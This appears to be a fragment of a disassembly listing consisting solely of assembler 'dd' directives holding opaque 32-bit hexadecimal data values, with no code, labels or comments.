		dd 18DBB500h, 0FB713458h, 0EE49C008h, 0C186DADCh, 2E45300h
		dd 190C9EE9h, 0FDA90092h
		dd 5685D16h, 0B100D233h, 0F86E7650h, 0C00A3697h, 16E579D1h
		dd 71FEFEA5h, 3800E89Ch, 0D0D48B5Dh, 0B811D42Dh, 5E6F340Bh
		dd 0FCE81069h, 0A490E1BBh, 20453A32h, 0D45460ABh, 6CD2495Dh
		dd 0B581543Bh, 8D1F272h, 0F6F880BEh, 21DB560Fh,	8E988Ah
		dd 7126C6D2h, 393D98B0h, 78EC60D1h, 96806C60h, 0F3FED1F4h
		dd 8BC19035h, 0E6009069h, 29CF116Fh, 305F97E1h,	78A4B01Dh
		dd 0D86D980Bh, 5E9714Ch, 0B52D399Dh, 0D12881FFh, 0F03CB8h
		dd 3844D2DCh, 26DDDAE5h, 44B00D8Ah, 10CB02C3h, 0D438A3A4h
		dd 8C32A5BBh, 2088061h,	0C4448E7Ch, 0D29C8628h,	0C724AAF0h
		dd 51160D6h, 0F3DBACF0h, 0E83031F1h, 92AC416Bh,	72E5FC0Dh
		dd 4438B024h, 83A3D0Ch,	527B5E2Ch, 21281338h, 50CE5148h
		dd 0BCED98E0h, 4178F3FBh, 310B6130h, 161F21ABh,	536681Dh
		dd 16CE620h, 517E1060h,	0D1C8CCE5h, 0A45E5926h,	0EA863107h
		dd 5EF2483h, 7BE73D28h,	0F80ECF1h, 23C16157h, 0E1ECE614h
		dd 44333A28h, 2067F500h, 7A6064DBh, 430944F0h, 84383Ch
		dd 31ED254Ch, 50103840h, 0EAF84592h, 8F49109h, 32146CE0h
		dd 84432CC4h, 10B7CE85h, 5C51A402h, 3834401Ah, 38A7915h
		dd 0DF73206Ch, 2CB1814Fh, 4D7D7085h, 0D118DC06h, 4850E230h
		dd 8B0080ACh, 45C71A56h, 0BE74553Fh, 0E3CC9C00h, 59D9EAD4h
		dd 9D6C0034h, 0F46EE65Fh, 0FF01A8E9h, 0D444788Fh, 0B4651BB2h
		dd 0CF85DC07h, 3A24C0B8h, 43302C08h, 0A8020E04h, 1A7A7CACh
		dd 0C1D84A0Ch, 9C20E57Ch, 0D1F00ABBh, 0CB44B8Ch, 2A38A32Eh
		dd 5448C62Eh, 90D6E642h, 0B849EDD0h, 17ECF19Ch,	7BDB05ADh
		dd 0D08EE4D8h, 68C8B888h, 78102906h, 7ADC4A20h,	48987A66h
		dd 7608B5h, 0A20FD677h,	0EC95147Ch, 3B76E604h, 1C81ACC9h
		dd 14240589h, 0BDF207D0h, 0A5D3F6AFh, 28897BCh,	94417D46h
		dd 21B02082h, 50314841h, 52008C63h, 22119695h, 0EC65907Ch
		dd 0DCA46AA0h, 3E68A1B0h, 0F710E466h, 0BB3418C7h, 80E37F10h
		dd 0FF726F63h, 0A3102600h, 0CB7D3E88h, 0BBCA07A9h, 0C0BE7F22h
		dd 7046283h, 6A00E9E4h,	66C781DBh, 136F38h, 0AAE5DAFDh
		dd 455398ACh, 48F4B0D5h, 2C509D74h, 0C6DBFF01h,	0E25F5641h
		dd 0E41D820Eh, 0A14C416Bh, 0C0FCAED5h, 0D1E90CEBh, 4FA0DB0Bh
		dd 277C1000h, 4CF01D17h, 0E2717F68h, 3B48ABh, 5D976C07h
		dd 9002B936h, 8E015F72h, 0F6E1F59Ch, 0C750706Ch, 637FF83Eh
		dd 0D2EF08C1h, 0DB44F004h, 58C722D5h, 1AA12A8h,	3F69CE88h
		dd 3B85449h, 0EB937B58h, 34F05024h, 6697FE05h, 0D403A805h
		dd 0F284386h, 0A4357090h, 3C493920h, 665F098h, 0A017EC40h
		dd 9CC8AC21h, 35CEDB00h, 0C678E362h, 11360625h,	30F9AB30h
		dd 0F870B047h, 0EDDA13E0h, 502C30E9h, 0DC09927Bh, 0CCE1276h
		dd 0F093095Bh, 0DFE08077h, 7481A13Eh, 0D38088F8h, 0AC4548A6h
		dd 0BA7C64D2h, 8819140Ch, 0E27600A2h, 4895A477h, 8A02AB65h
		dd 8FD456E8h, 0A4247C2Eh, 2B980BA8h, 0F13E30D8h, 0A09630A7h
		dd 2F7A88ABh, 686A9060h, 824F9801h, 34608F01h, 0D45B02B3h
		dd 3AC548Eh, 0D3DEA40Fh, 0B80A2AC2h, 8C01FB00h,	0F0C06638h
		dd 0F008A0A0h, 0B4091FCh, 28A23D3Eh, 11098961h,	86600DF0h
		dd 0B4D7487Eh, 0AB754700h, 0D97BAC5Ah, 0BF09D8BCh, 0A5B010AAh
		dd 95420EC7h, 0B64C7C13h, 0D301A618h, 4FF49BEh,	4C282498h
		dd 3E4CBC01h, 3AD1B162h, 4134ACD2h, 4060E8B8h, 2C421464h
		dd 1881AC7Ch, 40B557BEh, 8A51D3A9h, 7D9090C0h, 0E46AA245h
		dd 98AF1273h, 0B16885ACh, 86F4015Ch, 4C4FF071h,	0D11E48C1h
		dd 0B82C2028h, 8D30A620h, 8859100Dh, 0D3A91D5Bh, 2D0AA84h
		dd 98166D87h, 38485CD1h, 6C912BCBh, 5272E38Bh, 15CC9ABCh
		dd 0F04FD45Ch, 197BF41Eh, 202F2045h, 6A0664B8h,	8ED2BE33h
		dd 0D4270911h, 8384B34h, 7C920CD1h, 0FDD74E1Ah,	0CE8C6061h
		dd 0D80658F8h, 38D460C1h, 0D8F085EFh, 18C0134Dh, 0C0B76E7Bh
		dd 0D6F83B78h, 154C5EA5h, 0ACDF1D5Ch, 73D1ED03h, 0C481204h
		dd 0F6C48087h, 4240EB7Bh, 0BBA30AA2h, 3C4906Fh,	0ECA571E3h
		dd 0A1F9ADA0h, 0D3C8BE04h, 0B800AA03h, 0EE04580h, 0E4873000h
		dd 3C5EA3D7h, 7F64983Eh, 0D882FDA2h, 0F9CD7BE8h, 0E9F00466h
		dd 0EC703863h, 5835C714h, 0EA4C7582h, 0AA408464h, 547C48A8h
		dd 0C190CCEBh, 0E9174360h, 0C0CC5688h, 7B416496h, 0A425A5EEh
		dd 0EBEAFC41h, 62AAE301h, 98422608h, 871A638h, 0EC7B034Eh
		dd 5EA002FCh, 0B66A9839h, 88C52842h, 0AF17CE86h, 4A149A38h
		dd 1341D4Dh, 757C3339h,	0F18092A1h, 0D414B415h,	665800E4h
		dd 3FE13A23h, 13710938h, 0C822DB05h, 87C0AE49h,	0D03DE259h
		dd 927C7D45h, 0A8505178h, 1CB04108h, 95188540h,	8D0754F8h
		dd 0EAD8B632h, 374A9A80h, 8C145C70h, 30544417h,	0F9A75D80h
		dd 3E813B1Bh, 49698340h, 0EE020CD9h, 9F10CEF1h,	51403053h
		dd 7E25CF0Ch, 1D3F07FBh, 0F0F7A212h, 917BBED0h,	2002A4Dh
		dd 73A392D5h, 441055ADh, 4359AF63h, 0A4D412B4h,	8338F8C0h
		dd 91C0294Eh, 9FBF8094h, 0D3F94DAEh, 28C5AD35h,	54049416h
		dd 0E04917h, 78FCB0DBh,	18B094EBh, 7388D11Eh, 748DB107h
		dd 0E4C26D64h, 4EF500A0h, 0A49918D0h, 0F1074F97h, 13370BCh
		dd 0A0684894h, 5F05F105h, 20C8D559h, 4A7A3BFCh,	8B3CE20Eh
		dd 8A448BDCh, 0F11360F6h, 9FA601Ch, 9F0EEC1h, 38B410C8h
		dd 0DC865022h, 62604183h, 0B2E7229Ch, 828D1F00h, 973A794Ch
		dd 37D75104h, 0CE30D04Dh, 0B89AD9EEh, 9CCBA616h, 0AFE3C900h
		dd 0E025C4FBh, 3C61F913h, 7E2B0801h, 65E71440h,	2C895D54h
		dd 0D409E05Ch, 0A8A1F6C7h, 0CB6AD17Ah, 89146004h, 884EFE8h
		dd 5E7B6C02h, 2648CE54h, 6350AE6Eh, 8B80D1EEh, 2B1EAF46h
		dd 0B9C2E9CEh, 4010415Eh, 30EA58A0h, 0BDBC5D9Eh, 0AE0079E3h
		dd 2C3919BBh, 17561A0h,	0D463F26Ch, 2D4188D3h, 5B9C1060h
		dd 0C328BE00h, 706C4511h, 9B02E6F4h, 0E0D8B8DDh, 21E1C1FFh
		dd 81042834h, 0F08BEF1h, 9596A887h, 810449C8h, 2490984Ah
		dd 7815C842h, 19C820C0h, 50E0DC88h, 9EC39D0h, 98A210D1h
		dd 82EFD404h, 0FCE27441h, 4F0288F1h, 7A8613CCh,	26474F4h
		dd 0F8555160h, 0E198B481h, 8520625Ch, 0C8A019D4h, 397CF8F4h
		dd 9E80F31Ch, 0A661A56Ch, 0C0A191CEh, 0A5F00256h, 8C5E65C8h
		dd 20201413h, 1750A610h, 12CF11E3h, 0DC70C1F8h,	0D380707Fh
		dd 24D62C13h, 8B16A004h, 8ED00752h, 0ED44802Fh,	0E7E85686h
		dd 6EE63000h, 50944751h, 75537F90h, 8F17002Ch, 0A3F45819h
		dd 733ECC2Dh, 897A0352h, 0D8E635F5h, 110ADCBh, 0DC757456h
		dd 0CCC191EAh, 3A0B145Fh, 769F0ECh, 8AD92DCCh, 0E995DCB0h
		dd 43118ECCh, 1819FDFBh, 0F0B4EE10h, 5A80797Eh,	0E29C1434h
		dd 2E2E18ADh, 0A5242618h, 22D49898h, 3A30EB4Dh,	0C64CC7Fh
		dd 3825997Bh, 4B1DF042h, 34D82007h, 0AC50E29Dh,	1330D42Ch
		dd 845020E9h, 19AE26Ch,	57D5E664h, 40861692h, 8CB0F398h
		dd 9B911E00h, 2BE13BF5h, 6EFC1C51h, 8B7BCEA0h, 59400092h
		dd 8C1F8264h, 7C100903h, 880CF636h, 4056BE9h, 0B8417DE3h
		dd 50ACF19Dh, 9887EC40h, 1C540D05h, 2CC1D671h, 50AEA456h
		dd 0AA986168h, 73E8403Fh, 6800A1C9h, 189AC0F5h,	12C8B50h
		dd 7E5DDD79h, 40D0E3C5h, 13DF1DF0h, 69ED800Bh, 52D00273h
		dd 0A2F0487Fh, 8D094B3h
		dd 4A005C88h, 0C1CF9213h, 0D3C31351h, 0E8944271h, 0B87A22E1h
		dd 0E63BD413h, 0D1CF285Fh, 0B4087324h, 73CE0632h, 2F3C103Dh
		dd 9F6600F3h, 0D42E182h, 13FE1B90h, 3D88F9ADh, 8E31D186h
		dd 5F393041h, 171EFC8h,	528160E7h, 0D859FEEAh, 0D109292Eh
		dd 0C05D3A4Eh, 9D76574h, 331D17D2h, 38A0702Ch, 83F88259h
		dd 12040E98h, 316ADD20h, 0EDAC18h, 32D1EBF5h, 648008A3h
		dd 96901C83h, 808AD5E1h, 0DB946A10h, 249804C8h,	168F91Ah
		dd 0E247CE63h, 6888415Ch, 0A19500C6h, 0FC1EFAE6h, 0F6D318ACh
		dd 0BE4C18B9h, 24E895A1h, 0EE16EA84h, 0C067475Ah, 0D2BB6EE2h
		dd 8330F420h, 795F3178h, 0ABC86C07h, 6D844FE0h,	0BC520429h
		dd 804B6AE6h, 8F992848h, 0F6C5D118h, 5806ADB8h,	10149CDEh
		dd 4F0934A5h, 6844E14Ch, 0FC2BA3Eh, 0E5516180h,	1C8866D5h
		dd 7C1A0B5Fh, 9880DB5Dh, 92024360h, 1FD3740Bh, 7EA0200Bh
		dd 0F497FE6Dh, 68AC1545h, 588938DCh, 907C9077h,	0DE43046Bh
		dd 813644C2h, 22921580h, 964F0E2Ch, 98858057h, 0F1A97B09h
		dd 17D378F4h, 0C8675E5Ah, 4CB0E340h, 8C861D2h, 0E42B5095h
		dd 28A000B0h, 86ECF882h, 4DB8DD7Dh, 0F2993939h,	0FE7800B7h
		dd 1F8B2943h, 0D3CE8EDAh, 0E728C070h, 960171EBh, 6F27BEF3h
		dd 0B060AEC6h, 5761012Fh, 9D77E3E2h, 0D3B0DFC9h, 84A0BA14h
		dd 3090D9F3h, 0D85C13E8h, 0F16800F8h, 8B3D3AD0h, 2480F040h
		dd 8174B9D1h, 8AFB7E14h, 0C0A46C39h, 200CEDA0h,	0C8E92FD1h
		dd 8038C8B1h, 22435148h, 495FBD8h, 94D48A0Fh, 8204E15Ah
		dd 801DED28h, 0B5B8E141h, 42980915h, 10298C14h,	0EC0BD07Ah
		dd 0E600A9E4h, 92DD2B10h, 0D45C82E4h, 0E7003BF2h, 16ACAFE5h
		dd 0CC8A0CE2h, 8926EC64h, 121360D1h, 0D459C0C0h, 940E55D2h
		dd 9A9EBEF0h, 0C6D6006Ch, 0B0D0FD49h, 95DD151h,	0E159007Ch
		dd 14F3B44h, 0D4952493h, 2DD130E3h, 7400628Bh, 0FB177A3h
		dd 2A7377Ah, 5956017Eh,	0BC415B50h, 440ACE68h, 5FA840E9h
		dd 8338263Bh, 0C19D1D79h, 0A497E2BCh, 63288440h, 6C804980h
		dd 1A6B116Ah, 0C874CE3Ah, 82D500C3h, 360054F8h,	0E47BDADDh
		dd 6610C14Eh, 63E3E878h, 0D0322F58h, 0C15115D7h, 0D409601Ah
		dd 0E8C0407Ah, 69026B54h, 3CE6470h, 24CC4BCFh, 9E6C5B38h
		dd 0E29E055Ch, 7E848CAFh, 0E9DC2282h, 2478666Fh, 3E9C7F33h
		dd 0EB0D3280h, 9F515BE7h, 0FEB23016h, 0A07BC000h, 9CB7AEh
		dd 5253A42Ch, 627C19C5h, 0E66093EDh, 4C30C4C9h,	23F302E3h
		dd 4D4D112h, 0EE0EA851h, 148D176Dh, 51DA69F0h, 0EAC0D9h
		dd 8AD17590h, 0AC382860h, 0F0ABE282h, 47B30AFDh, 88883E43h
		dd 982626C5h, 0C346E00h, 1C71914Ch, 42AF63E8h, 1BAAC749h
		dd 19A160C0h, 98283689h, 48BA8610h, 0F88E2950h,	3ACA6602h
		dd 26E07B2Dh, 0A0D4A864h, 247C3374h, 18489C71h,	3D5D514Ch
		dd 10E3F52Eh, 84A52E62h, 0F10CDCB8h, 0CC0CDB08h, 59651741h
		dd 38B082DDh, 0DE98A766h, 20628A5Ah, 9A87AC0h, 3BED6DACh
		dd 2C132406h, 0EC14E224h, 2E888B15h, 0F81E18FCh, 2BE795C0h
		dd 67A9CA4h, 967C1266h,	0CE194802h, 0AF509F90h,	8E80087Ch
		dd 0B7D2622h, 0E564D112h, 73E26020h, 0C37117h, 0F2522C4Ch
		dd 0DA598E9Ah, 34D3C50Ah, 4800DCCFh, 0F48C60D2h, 5869EFE3h
		dd 833D30Ah, 606F87ECh,	87FEB03Ch, 0F494C2B2h, 34E2003Eh
		dd 9945982Ch, 0A4040A10h, 4ECB0D1h, 0A0A81628h,	0F0585E8h
		dd 9790A1DFh, 0F8123C81h, 0E4748414h, 0B0954808h, 80B36EB8h
		dd 22F1CADEh, 3C587BC0h, 39718034h, 138E0854h, 0C068D174h
		dd 63C564FCh, 0DFF31802h, 5BFD1373h, 1ED40A10h,	0AD44A6D0h
		dd 4889888Bh, 14B734E1h, 0C3259CADh, 6BCA3841h,	0EEF57405h
		dd 60C1FCC0h, 0E0130475h, 81AD8A1Ch, 80BD58h, 0C16359h
		dd 1050152Ah, 0F60EDE83h, 0C67FF21Eh, 89EB7B00h, 0B39BE93h
		dd 0B42298B9h, 97EC3480h, 7A25775Fh, 1745627h, 0DBBBD4E8h
		dd 10C709Ah, 1D48B95Dh,	8BC043B0h, 35A1023Ah, 97D504E6h
		dd 913927D0h, 6832DFC4h, 0F6CE832Ch, 0D410093Ah, 0C0207A3Eh
		dd 7BE42A4h, 0D86DB100h, 0AC5714FDh, 0E0F16077h, 3C10F2Eh
		dd 8F869812h, 70294CB5h, 0CCB33217h, 0B27C2A98h, 6D6564B4h
		dd 0F458F0h, 0E80D543Bh, 10485AEFh, 0C084A05Ch,	547BBBD7h
		dd 0BF10C00Fh, 89501D5Eh, 39B3D416h, 0D5634042h, 0AAA0EC43h
		dd 140C50D0h, 8CB30798h, 3959FE00h, 6FEE745Fh, 0F77BE70Bh
		dd 40205C91h, 0D852817Ch, 0D4619D05h, 0F80ECA0Bh, 395C608Eh
		dd 0C04AB998h, 625BED60h, 7F3E38BCh, 11DF1A45h,	6007218h
		dd 10CAF1F2h, 0A49190A3h, 17E85049h, 300A92D4h,	0FEFD63B0h
		dd 1A1824h, 0B7448D00h,	5C694EC9h, 0BEC0D0E6h, 94321E1Bh
		dd 3C38AC90h, 0A2990265h, 0C050AED1h, 6080D4E4h, 5A1D684Fh
		dd 1E8A8BDh, 1CEB0609h,	0B178C0DCh, 130CB274h, 20512BC8h
		dd 0ACA8E548h, 8045A1CBh, 0DCFD3C0Ch, 72663C5Ch, 2508A228h
		dd 58A0ACF0h, 0D3A68EC6h, 482F6335h, 0E1DC84C2h, 560438ECh
		dd 986020C4h, 70DE5751h, 44B46612h, 0ED28A0B4h,	5056277Bh
		dd 83987438h, 470E249h,	86ED4A7Ah, 0CA0B0CCh, 4FE87BF5h
		dd 312D6010h, 4474897Ah, 1F5F5A14h, 4EDF0B88h, 983E0820h
		dd 578022ABh, 0B119008Ch, 0C2768A29h, 0B8018DAFh, 280F3321h
		dd 0E2E8998h, 9C405F58h, 6F69B1A3h, 0EF500CBEh,	98CF09F1h
		dd 8C209AE2h, 33CC0AACh, 7D7C9D75h, 110E7430h, 0D23D4AD4h
		dd 0D1800E38h, 0E0C0A829h, 0B235FB76h, 5CA8D0AFh, 9817584Dh
		dd 0B0188591h, 5EE634B4h, 64A84F12h, 75C19881h,	0D8097A00h
		dd 4A01D898h, 0CE63384Fh, 6080A480h, 589B4DF9h,	0F509E93Dh
		dd 52BD06D1h, 570709Ch,	91E6CCB0h, 0F5B4036Eh, 9E7622F2h
		dd 0A2492D2Dh, 90B4EC84h, 0A27D10F0h, 7B5820C8h, 0C88EE8C3h
		dd 0D8160410h, 9BEDCA0h, 5195E76Ch, 8CE56400h, 7B18FD27h
		dd 0EF20355Ah, 0E0FF0271h, 0EB9C3462h, 0ACA998D8h, 9FFD98h
		dd 41844EF3h, 0BC4464BEh, 708D9000h, 38D95B58h,	954209DCh
		dd 18D86498h, 0A6A95904h, 4C04CEAh, 1728EECh, 0A3EEF11Dh
		dd 0AF961C98h, 0BE4F858h, 60D16938h, 6113F8D8h,	26E82191h
		dd 205AFA58h, 9E124A44h, 0A8B8BDF4h, 72DAA107h,	5F306C8Ch
		dd 0F9A2C30h, 0DE37EBE6h, 5BB3BA00h, 0C1016918h, 8D718FE4h
		dd 0FB70EE06h, 0ADE503E7h, 251E17ACh, 16DC6158h, 2004CF96h
		dd 0ECAC3D3Ah, 98F89D8Fh, 7A179A14h, 8088A74Eh,	6B149EEBh
		dd 4F106466h, 25BD27Fh,	244DCE60h, 0F895E884h, 10744870h
		dd 18052D7Ah, 0F9BCC8F1h, 0E95F2514h, 0F047ECBCh, 2665B30h
		dd 0F3E53831h, 21248A00h, 0BE3630C2h, 0EB859812h, 515D809h
		dd 68D2E0C4h, 93B0786Ch, 258826F4h, 28C2B892h, 1ACE98E0h
		dd 5218A264h, 40D4E490h, 3E40C2ADh, 0C8F28A15h,	308BE60h
		dd 0D27CDED4h, 0B2130548h, 43300096h, 97FBBC39h, 20844F5Fh
		dd 0F0840CB8h, 2334C904h, 43F42554h, 0D8B1A530h, 0C4027075h
		dd 2FF8E63Fh, 4080687Bh, 0B8FFC17Ch, 8AD4010Dh,	0B0402031h
		dd 1237D5EEh, 49E5D16Bh, 6878ACA0h, 0BE32B20h, 66F08A51h
		dd 509484E4h, 0E4FAF822h, 8D2CDA4Ch, 0F04158E8h, 9103D5B9h
		dd 0D1F2EDA8h, 610A0B31h, 0B03CE894h, 704A7058h, 0BDC64F44h
		dd 15887C94h, 31EF12D6h, 71DE1DE8h, 61F4C02Ch, 1E0CA497h
		dd 450078ACh, 6AE9A290h
		dd 64062237h, 73FD97FFh, 18D8D698h, 52292840h, 6E660614h
		dd 11251E8Ch, 624EEB02h, 0BC90F9FAh, 0E47A9304h, 0DC20D478h
		dd 9820CEA0h, 623E3AD8h, 0D771BA80h, 9CD9436Ch,	0AD5E0100h
		dd 0A90B377Dh, 0C05F749Fh, 0D4572D28h, 6664FD20h, 90888048h
		dd 0EE92FD1h, 1B3F0898h, 0B463F1h, 39071E78h, 317A68A2h
		dd 61883054h, 6784422Ch, 980BA4D9h, 0A094D0D0h,	554239h
		dd 0D6D2682Bh, 10B474A3h, 2A2C7702h, 0C8696E5Eh, 8086C554h
		dd 982F9A36h, 0E1CC83F9h, 10502D32h, 0D1F32C01h, 8002BB4h
		dd 287A8509h, 28BA0Bh, 0C664CCD2h, 6074386Dh, 0AC782C07h
		dd 7BE2D6F7h, 258450E3h, 68E0D74Fh, 12542FD4h, 60B89884h
		dd 20491C22h, 591D965Eh, 0F8168BDh, 7B12D3EFh, 0C998E884h
		dd 13893D0h, 0E87143E4h, 8935FA3Bh, 51ACA0E0h, 6C81A1E0h
		dd 0D37831E2h, 0C880615Fh, 1C0102h, 43FAFBE5h, 71C95440h
		dd 7CBD3D26h, 89EEAB00h, 7C0BFD39h, 98A809EDh, 0D0E201CEh
		dd 438C649Bh, 0F1589929h, 3C38E9B9h, 0C9425FC0h, 200ACD4h
		dd 6A9EEC96h, 0BA47E67Ah, 2594FA0Ch, 0C06466E0h, 5B70989Fh
		dd 6841E936h, 4B3FAB7Bh, 3C03A144h, 4AC0F785h, 7F180C47h
		dd 0A5409ADCh, 0C4EBBD6Ah, 0AA00BB92h, 25A410Eh, 0BAE94768h
		dd 0C8F40FFFh, 0B7618239h, 0FCD99816h, 871E3Ch,	0D1FEA138h
		dd 0F8ABDD68h, 2AE9EC91h, 0DA98C421h, 4CC4543Eh, 64141D00h
		dd 4C51E052h, 4D0DBC9Eh, 118509DEh, 0D3F43DCEh,	0F7D47928h
		dd 0BCE0BE4h, 972420B1h, 582F4EE6h, 0A6D2A8D1h,	7C4804h
		dd 0A3135068h, 4B7BEC1Ah, 58F4C07Ah, 0EF005266h, 7C50264Dh
		dd 0B722C6Eh, 0E8545AADh, 0BDD56700h, 6C90A7F1h, 0E07671C0h
		dd 5B984963h, 0E3CC0EBCh, 5542573h, 0C755A810h,	9F75C714h
		dd 3AFEE6A0h, 6A284F49h, 0D922D03Fh, 0A86D01B3h, 0E928733Ch
		dd 0E0CC6015h, 0DE8B2C04h, 40B844B2h, 56924613h, 0C0BC1278h
		dd 0C9A62CF4h, 0EA4F6C00h, 79A1E9FEh, 344D0B39h, 0B880DC88h
		dd 2BCFDBEEh, 94227E4Ah, 987009AFh, 0E0044A4Fh,	44FCD9F6h
		dd 78D21189h, 92B51F7Ah, 0C808C388h, 19D34B5Fh,	0C10C217Bh
		dd 2A8C6DD4h, 0FF0BD41Dh, 60EE5B7Bh, 0B5970CB8h, 2AF6A010h
		dd 0B4607C81h, 980862EDh, 484432DDh, 0A6001C9Ah, 7DE392D7h
		dd 373B70Eh, 0A8553F71h, 13EB3D5Bh, 0F2984AE0h,	10647059h
		dd 5F25D0F1h, 46905890h, 0C992D112h, 6B7A7CA4h,	0DC81B950h
		dd 801E047Bh, 0FFBC8E10h, 413C90h, 0DC351B0Ch, 17F8B524h
		dd 0D63A2700h, 6286ED1Fh, 0CDAD1325h, 77F4007Fh, 582252B6h
		dd 5176E603h, 1AE3845h,	91C54D18h, 309969C0h, 0A5E97C9Ch
		dd 84F062A0h, 145DAC28h, 8042D889h, 0FCAB3214h,	3A80B092h
		dd 2001064Bh, 0FE8A4E18h, 95B4302Fh, 4AF0635Ah,	702E98BBh
		dd 69411761h, 0F29A9507h, 0F3501020h, 0C6550F00h, 0A6BB623Dh
		dd 7BBCCD05h, 0E004F503h, 3C817140h, 0A300A232h, 4C3CC437h
		dd 0E282019Dh, 911C3AD3h, 0D130A02Bh, 0A6657F00h, 1245DF62h
		dd 0B968C489h, 0E1248DC5h, 4F383C8Eh, 83459C0Bh, 0A0464CE0h
		dd 275F97A5h, 7084014Fh, 8EE5827Bh, 4D7D898h, 5D5780h
		dd 0A0CAE39Eh, 9CE66F8Dh, 0AAC8EF01h, 2EA697E1h, 65F0F093h
		dd 3D9CF044h, 4703809Eh, 213B098h, 24BE8D28h, 0F8480203h
		dd 3A40657Bh, 96DC0444h, 0FC6BF1E6h, 7166C050h,	0DD1D8898h
		dd 0B0CA0040h, 2907850Fh, 0D1FB8B04h, 8A813ECh,	8E964B00h
		dd 0A840E7CEh, 98603B0Fh, 988C6CD1h, 0A34C2CF9h, 0F03D12F0h
		dd 0F409EC18h, 78DB1513h, 78B0BC70h, 0EB287BF3h, 5D0090F2h
		dd 50F1C167h, 90718DE2h, 81EC50h, 0AB9D2C6Fh, 0F3CF105Dh
		dd 0D670C100h, 84DC9FAEh, 6EE907EAh, 61762F87h,	801E7A97h
		dd 15A4EE68h, 1EA0C1FBh, 0F4F0FF7h, 3099A821h, 0AC87E865h
		dd 0C0798C1h, 8822F972h, 0D5E78300h, 0F59B6925h, 0A89AE135h
		dd 70D36422h, 15F1FA44h, 6CA610CDh, 98CD526h, 0E4299B25h
		dd 2436A0E9h, 0CCBA3D74h, 2E4E3E0Fh, 4AD7C0B9h,	47F1143h
		dd 0F0D458EDh, 0F53484E7h, 56642070h, 0E4CAC2F9h, 1CF04450h
		dd 7052794Ah, 4641800h,	0F0FE81Bh, 504A7382h, 0AB99E620h
		dd 93025365h, 0D4474E38h, 1348F8FAh, 0CBDC02h, 925D86E8h
		dd 7800E3E6h, 0F2C9C115h, 0F0E269A1h, 4047021Ah, 0ED82ABA3h
		dd 4D7E4C6Eh, 0D48434B4h, 44ACFCC1h, 48D20282h,	0EF041909h
		dd 0C0EA45F0h, 229E1818h, 0E40556A6h, 0E32AA01Bh, 0EDF830E0h
		dd 0BC14E8h, 25692981h,	1EC1D1ECh, 90449CA0h, 44E55173h
		dd 0A8CCD284h, 104B870h, 0E21DBB7Fh, 40660CA0h,	657E8D9Bh
		dd 0CE2C9F06h, 5F80A555h, 0D3001452h, 31347C09h, 27309CC6h
		dd 40301011h, 47E22698h, 8338603Ch, 76414D1h, 38811190h
		dd 0F024E7D7h, 40209DDCh, 225E7C10h, 0D8BA9570h, 7842184Bh
		dd 92BB7A5Fh, 2764588Ch, 0B4E33598h, 8BFDA281h,	0A36ACE50h
		dd 0C0A42BE4h, 95C509BCh, 0A413788Eh, 87277B68h, 0F0386410h
		dd 0A28EE0F9h, 0A9988068h, 174787FEh, 0C0F897ECh, 0EDD78BB0h
		dd 7C3B3803h, 4A728EBBh, 454880D8h, 0CD502598h,	0AE4C49ACh
		dd 0D1F205ACh, 0B0C8A769h, 0E0641245h, 0E88CB0DAh, 5CFCF9D4h
		dd 0D1E706F4h, 30CCF2h,	3E6A862Ch, 0CFA3F862h, 7880B004h
		dd 0CEC98D1h, 2B131471h, 2C1084DEh, 805F003Dh, 0D1508EA5h
		dd 4FF940C4h, 8388449Ch, 0E464020Bh, 8F7708E7h,	3E80848h
		dd 8B24983Bh, 3FCFE91Dh, 1CD1D003h, 0EB700511h,	80F62697h
		dd 0A269E748h, 0A49AF54Ah, 0A30E784Dh, 80F3AED1h, 50F798CCh
		dd 0E17FF280h, 50FEF430h, 18B3C44Ah, 0A0C472D3h, 70B42917h
		dd 0D4C4DB13h, 84A9C085h, 4823627h, 6C54C043h, 88D13F44h
		dd 8CA6AC45h, 0DBEC02ACh, 0D47E2BCDh, 0F70E74Bh, 0C8106147h
		dd 0C754A40Dh, 38D91FCEh, 0E6442079h, 349C1490h, 7E1C7B84h
		dd 20954F01h, 26D46249h, 5D84645Bh, 0ECB062D4h,	0D1791ED8h
		dd 25E0AC08h, 5C419CB2h, 50412E32h, 0FBE834A0h,	98D443D5h
		dd 0EED117E6h, 5E4C88D7h, 5614829Fh, 68C01261h,	0CD0F0A5Fh
		dd 44A226F4h, 64FCBC7Ah, 0BEC8A600h, 0CEA96337h, 6E697C02h
		dd 0F9ABE3E7h, 0B4440C28h, 9CA44780h, 40A86316h, 6895DC17h
		dd 0B4296453h, 0B998043Bh, 0A31201FAh, 8693B68h, 3C8E9809h
		dd 0C0EE0C99h, 43F21063h, 31D4440Dh, 323A4880h,	8C45C60h
		dd 0F0894A5Fh, 403A2864h, 54A04886h, 58BA117Bh,	509EE900h
		dd 5AE280Fh, 7EAC00E4h,	0AB7FB8A5h, 0C090DC8Ch,	0C912DBE0h
		dd 9489502Bh, 8B980ACEh, 6098E26Bh, 0F2274D3Bh,	0E02CA256h
		dd 9D6C0127h, 0D3ECE064h, 90E880B5h, 512C5E9Eh,	0DC312C7Dh
		dd 0A240212Fh, 17188037h, 0B495A1E7h, 2C570CE9h, 0F111EA8Eh
		dd 0BFD46105h, 887066C7h, 4AA85158h, 3C388817h,	59709816h
		dd 9494F8A2h, 3810C125h, 60607A6Eh, 0E764A221h,	0BC44013Fh
		dd 6BDD50A4h, 77E6FC9Ch, 8614D509h, 7640001Ch, 146AD0FCh
		dd 24D87BD1h, 0EFAFE20Eh, 0D3E4DB60h, 21BD3D4Bh, 22438E84h
		dd 56D1870h, 230E35A5h,	0D4C0C03Ah, 50927F45h, 3EA77B19h
		dd 25F05A88h, 55D0C0C9h, 21A08AF8h, 35781413h, 3E36C88h
		dd 0E5022C75h, 0E2C8ABFFh, 11C328ADh, 4B8B0142h, 0C0F40058h
		dd 289F7BE9h, 0A308F09Bh, 30AC20FEh, 0E7308153h, 0C02385Fh
		dd 0B3D1012Ah, 0E934F628h, 3C3844E6h, 635880EBh, 0DC62F876h
		dd 0A11C2F97h, 0BDB22868h
		dd 0C895301h, 3F7D7A6Ch, 0D45E3882h, 0BCC844ECh, 0FB80C815h
		dd 8F572FB0h, 4C993429h, 2DD05097h, 80927D2Eh, 4544C309h
		dd 74A08B42h, 44182620h, 66B4D5EDh, 83228E0h, 4251982Bh
		dd 0F40062B4h, 84D1E080h, 7401D6A0h, 0FE4E9A2Bh, 73F0E909h
		dd 6F1C3833h, 0E27AAC85h, 2C0805ABh, 9141252h, 0C96D39h
		dd 0DC8BF8E2h, 2D00B258h, 0F0C81A05h, 0C74B5EE0h, 423EB0A4h
